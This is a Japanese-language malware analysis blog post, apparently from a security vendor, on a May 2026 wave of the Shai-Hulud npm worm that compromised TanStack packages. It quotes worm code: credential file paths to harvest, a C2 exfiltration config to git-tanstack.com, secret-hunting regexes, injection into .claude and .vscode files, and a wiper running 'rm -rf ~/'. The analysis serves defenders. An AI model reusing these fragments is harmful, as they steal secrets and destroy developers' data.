Akamai Security Intelligence Groupは、npmエコシステムに影響を与えるShai-Huludサプライチェーンキャンペーンの新たな波を特定しました。影響を受けるAkamai Huntのお客様には、脆弱性のある資産の詳細なマッピングとともに、実行可能なセグメンテーションおよび緩和策の推奨事項をすでに提供しています。
重要ポイント
2026年5月11日、Shai-Huludサプライチェーンキャンペーンの新たな波がnpmエコシステムを襲い、TanStackの依存関係ツリー全体にわたって悪性バージョンのパッケージが公開されました。
この攻撃は、継続的インテグレーション(CI)のキャッシュポイズニング攻撃およびnpmのOpenID Connect(OIDC)公開エンドポイントの悪用により、正規のリリースワークフローを乗っ取る形で実行されました。
このキャンペーンは、TanStackにとどまらず、Mistral AI、UiPath、OpenSearchなどに関連する追加のnpmパッケージへと急速に拡大しました。
その翌日には、Shai-Huludワームの悪性ソースコードをホストしていると見られる新たなGitHubリポジトリが出現しました。
このブログ記事では、新たに公開されたマルウェアを分析し、この攻撃の波が過去のものとどのように異なるのかを検証するとともに、メンテナや組織向けの緩和策を提示します。
2026年5月11日、TeamPCPはサプライチェーンキャンペーンを継続し、Shai-Hulud亜種という形で新たなペイロードを導入しました。このトピックに関する以前のブログ記事では、ランサムウェアグループ「Vect」がTeamPCPとの提携を発表しており、認証情報の窃取から大規模な脅迫およびランサムウェア運用への移行を示唆していることを指摘しました。
この新しいキャンペーンは、その移行が既に進行している可能性を示す初の明確な兆候です。
Shai-Huludワームの初期の波
Shai-Huludワームは2025年9月に初めて出現しました。その基本的な仕組みは単純でした。npmの公開トークンを窃取し、そのトークンでアクセス可能なすべてのパッケージを列挙し、悪性コードを注入して再公開するというものです。
出現後、Shai-Huludは年末まで活動を継続し、2025年11月および12月にはデータワイピング機能を追加した活動が再び確認されました。
新たな攻撃の波には、CIキャッシュポイズニングおよびOIDCの悪用が含まれています。
これまでのすべての攻撃は、盗まれた認証情報から始まっていました。今回はそうではありませんでした。
2026年3月のTrivy侵害やその後の複数のオペレーションに関与した脅威アクター「TeamPCP」は、この新たな攻撃の波の実行主体であると主張しており、これを「Mini Shai-Hulud」と呼んでいます。
この新たな攻撃では、攻撃者はTanStackのGitHub Actions CIにおけるプルリクエストワークフローの設定ミスを悪用しました。フォークからのプルリクエストをトリガーとして、ベースリポジトリのキャッシュ書き込み権限を持つワークフローが実行されました。攻撃者のコードはキャッシュを汚染した状態で待機しました。
8時間後、正規メンテナによるマージ操作で標準リリースワークフローが実行され、汚染されたキャッシュが読み込まれることで攻撃者のコードが実行されました。
GitHub Actionsにおけるトークン自動窃取
攻撃者のワームは、GitHub Actionsランナーのメモリから直接トークンを取得し、npmのトークン交換エンドポイントを通じてnpmの公開用認証情報と交換しました。npmトークン自体は「窃取」されておらず、公開ワークフロー自体も侵害されていないように見えたため、この攻撃は検知が困難であり、SLSAアテステーションの検証も通過してしまいました。
もう1つの重要な変更点として、今回のペイロードは初期侵入時に取得したトークンを使用してバックグラウンドデーモンを生成するようになっています。トークンが失効させられた場合、デーモンは直ちに被害者のホームディレクトリ全体を削除します。
開発者向けアプリケーションにおける永続性ベクトル
マルウェアの永続化は、Claude CodeのセッションフックやVS Codeのタスク自動化にも拡張されており、これらは「npm uninstall」操作後も残存するようになっています。
ワーム自体の挙動は変わっていません。有効な認証情報を取得すると、ワームは識別したすべてのパッケージを列挙し、それらに自身を注入しようとします。
キャンペーンの公開
2026年5月12日の夜、完全に武器化されたワームのコードが世に放たれました。これがTanStackを襲ったマルウェアと同一であるかどうかは断定できませんが、いずれにせよ悪性ペイロード全体が現在では誰でも利用可能になっています。
マルウェアの解析:メインループ
ワームのメインループはそれほど大きくなく、フェーズ数もわずかですが、各フェーズには細心の注意が払われています。具体的には以下のとおりです。
フェーズ0:事前チェック
フェーズ1:短時間で効果を出す攻撃
フェーズ2:コマンド&コントロール(C2)通信
フェーズ3:プラットフォーム認証情報の収集
フェーズ4:継続的な拡散
メインループは概ね次のような構成になっています。
main()
└── preflight()
└── setupQuickResults()
└── C2 / Dispatcher setup
└── collector.ingest(...)
└── collector.run(providers)
└── ReadmeUpdater / spread
└── collector.finalize()
フェーズ0:事前チェック
マルウェアは、まず自身がopensearch-jsパッケージのコンテキストで実行されているかどうかを確認します。該当する場合、パッケージへのバックドアの埋め込み、OIDCクライアントの起動、認証情報の即時窃取、およびSLSA署名の偽造を試みます。
続いて、システム言語がロシア語に設定されているかどうかを確認します。ロシア語に設定されている場合、マルウェアは終了します。
その後、実行中のインスタンスが自身のみであることを確認し、CI/CD環境内で実行されていることを検証するとともに、SIGINTおよびSIGTERMによる終了を防止して、事前チェックを完了します。
フェーズ1:短時間で効果を出す攻撃
このフェーズでは、マルウェアはエンドポイントから可能な限り多くの認証情報を迅速に収集しようとします。そのために、1,000か所を超える既知の認証情報保存場所を読み取り、gh auth tokenの実行を試みるほか、process.envを取得して環境変数から認証情報を窃取します。
LINUX:[
…
scramble("~/.ssh/known_hosts"),
scramble("~/.terraform.d/credentials.tfrc.json"),
scramble("/var/lib/docker/containers/*/config.v2.json"),
scramble("/var/run/secrets/kubernetes.io/serviceaccount/token"),
scramble("~/.viminfo"),
scramble("**/wp-config.php"),
scramble("~/.yarnrc"),
scramble("~/.zcash/wallet.dat"),
scramble("~/.zsh_history"),
]
WIN: [
".env",
"config.ini",
scramble("%APPDATA%\\NordVPN\\NordVPN.exe.Config"),
scramble("%APPDATA%\\OpenVPN Connect\\profiles\\*"),
scramble("%PROGRAMDATA%\OpenVPN\config\*"),
scramble("%APPDATA%\\ProtonVPN\\user.config"),
scramble("%APPDATA%\\CyberGhost\\CG6\\CyberGhost.dat"),
scramble("%APPDATA%\\Private Internet Access\*.conf"),
scramble("%APPDATA%\\Windscribe\\Windscribe\*"),
scramble("C:\\Program Files\\OpenVPN\\config\\*.ovpn"),
scramble("%USERPROFILE%\\OpenVPN\\config\\*.ovpn"),
scramble("%APPDATA\%\EarthVPN\\OpenVPN\\config\\*.ovpn"),
],
OSX: [
scramble("~/.ansible/*"),
scramble("~/.aws/config"),
scramble("~/.aws/credentials"),
scramble("~/.azure/accessTokens.json"),
scramble("~/.azure/msal_token_cache.*"),
scramble("~/.bash_history"),
scramble("~/.bitcoin/wallet.dat"),
フェーズ2:コマンド&コントロール(C2)通信
その後、ワームはメインサーバーとのC2通信を確立します。
const dest: SenderDestination = {
domain: scramble("git-tanstack.com"),
port: 443,
path: scramble("router"),
dry_run: false,
};
ワームはメインのディスパッチャー関数を使用して、窃取したすべてのデータを送信前にハードコードされたRSA公開鍵で暗号化します。これにより、窃取されたデータを読み取れるのは攻撃者のみとなります。また、コード内には将来の運用者に対して、この鍵を差し替えるよう促す記述も含まれています。
マルウェアはまずプライマリC2サーバーとの通信を試みます。通信が遮断された場合、被害者のGitHubアカウント配下に新規リポジトリを作成し、そこへ暗号化されたデータをコミットする処理へ移行します。攻撃者は特徴的なリポジトリ説明文を手掛かりに、GitHub上でこれらのリポジトリを監視できます。
暗号化されたデータが100KBに達すると、データの流出が開始します。
フェーズ3:プラットフォーム認証情報の収集
セットアップが完了すると、マルウェアはAWS、Kubernetes、GitHubなどのプラットフォームから、より積極的な認証情報の収集を開始します。
例えばKubernetes環境では、ワームは正規表現を利用してさまざまな場所やシークレットを探索しようとします。
constructor() {
super("kubernetes", "secrets", {
ghtoken: /gh[op]_[A-Za-z0-9_\-\.]{36,}/g,
npmtoken: /npm_[A-Za-z0-9_\-\.]{36,}/g,
k8stoken: /eyJhbGciOiJSUzI1NiIsImtpZCI6[\w\-\.]+/g,
awskey:
…
sshKey: /ssh-(rsa|ed25519|dss) AAAA[0-9A-Za-z+\/]{100,}/g,
dockerAuth: /"auth":\s*"[A-Za-z0-9+\/=]{20,}"/g,
kubeconfig: /[A-Za-z0-9+/=]{20,}/g,
secret:
/["']?(password|passwd|pass|pwd|secret|token|key|api[_-]?key|auth)["']?\s*["':=]\s*["'][^"'{}\s]{4,}["']/gi,
genericSecret: /[A-Za-z0-9_\-\.]{20,}/g,
urlCred: /https?:\/\/[^:"'\s]+:[^@"'\s]+@[^\s'"\]]+/g,
});
}
private isInCluster(): boolean {
return !!process.env.KUBERNETES_SERVICE_HOST;
}
private async getCA(): Promise<Buffer | null> {
const caPath = "/var/run/secrets/kubernetes.io/serviceaccount/ca.crt";
AWS関連の情報収集では、ワームは次のような場所を探索します。
~/.aws/credentials
~/.aws/config
~/.azure/accessTokens.json
~/.azure/msal_token_cache.*
~/.config/gcloud/credentials.db
access_tokens.db
application_default_credentials.json
~/.terraform.d/credentials.tfrc.json
マルウェアはデータ収集を完了すると、収集したデータをC2経由で送信し、他のリポジトリへの拡散を継続します。
フレームワークに依存しないふるまいとして注目すべき点は、このマルウェアがビットコインウォレットも探索し、特に~/.bitcoin/wallet.datを標的としていることです。
フェーズ4:継続的な拡散
さらなる拡散のため、ワームは発見した有効なGitHubトークンごとに、追加のシークレットを窃取して感染チェーンを継続するワークフローを作成します。
ワークフロートークンが見つからない場合、ワームは発見したすべてのGitHubブランチを巡回し、.claudeや.vscodeといったAIエージェント関連フォルダに、ローダーやワーム本体を含む悪性ファイルを挿入することで拡散します。
const FILE_UPDATES: FileSourceMap = {
".vscode/tasks.json": task,
[`.claude/${SCRIPT_NAME}`]: { sourcePath: Bun.main },
".claude/settings.json": claude_settings,
".claude/setup.mjs": config,
".vscode/setup.mjs": config,
};
ワームがnpmトークンを発見すると、NPMClientを起動し、マルウェアをpackages/opensearch_init.js.にコピーします。
このマルウェアは、OIDCトークンに対しても同様の拡散チェーンを利用します。
マルウェアの解析:デッドマンズスイッチ
メインループに加えて、このマルウェアで特に目立つ機能の1つがデッドマンズスイッチです。マルウェアは60秒ごとに、トークンがローテーション(更新・失効)されていないかを確認します。ローテーションが検知されると、ワームはマシン上のファイルを削除しようとします。
logUtil.log("About to add monitor!");
await this.installTokenMonitor(this.token, scramble("rm -rf ~/"));
ここで取り上げていないコードの機能や実装層は他にもいくつか存在しますが、私たちは、これまでに説明したふるまいだけでも攻撃者の高度な技術力と明確な意図を示すには十分であると考えています。
検知と緩和
組織を保護するため、直ちにセキュリティ専門家に相談し、以下の対策を実施することを推奨します。
感染したパッケージを安全なバージョンへダウングレードする
ネットワークセグメンテーションによって、影響を受けたホストからの被害範囲(blast radius)を縮小する
今後の展望
このキャンペーンは、TeamPCPによる継続的な活動における新たなエスカレーション段階を示しています。このグループは過去8か月にわたり、シークレットの窃取、開発者ワークフローの悪用、およびソフトウェアサプライチェーン環境全体におけるアクセス拡大に重点を置いた、組織的かつ高度な認証情報窃取キャンペーンを展開してきました。
この最新の亜種は、自動化、認証情報の収集、そしてリポジトリ、パッケージ、開発者向けツール全体にわたる拡散機能への継続的な投資を示しています。 また、このキャンペーンはTeamPCPによるVectとの提携発表の直後に出現しました。
ワームが公開され、そのツールチェーンが他の攻撃者にも利用可能となったことで、もはや懸念の対象はTeamPCPだけにとどまりません。これらの手法は今や、他の脅威アクターによって分析され、改変され、再利用される可能性があります。
今後の情報提供
タグ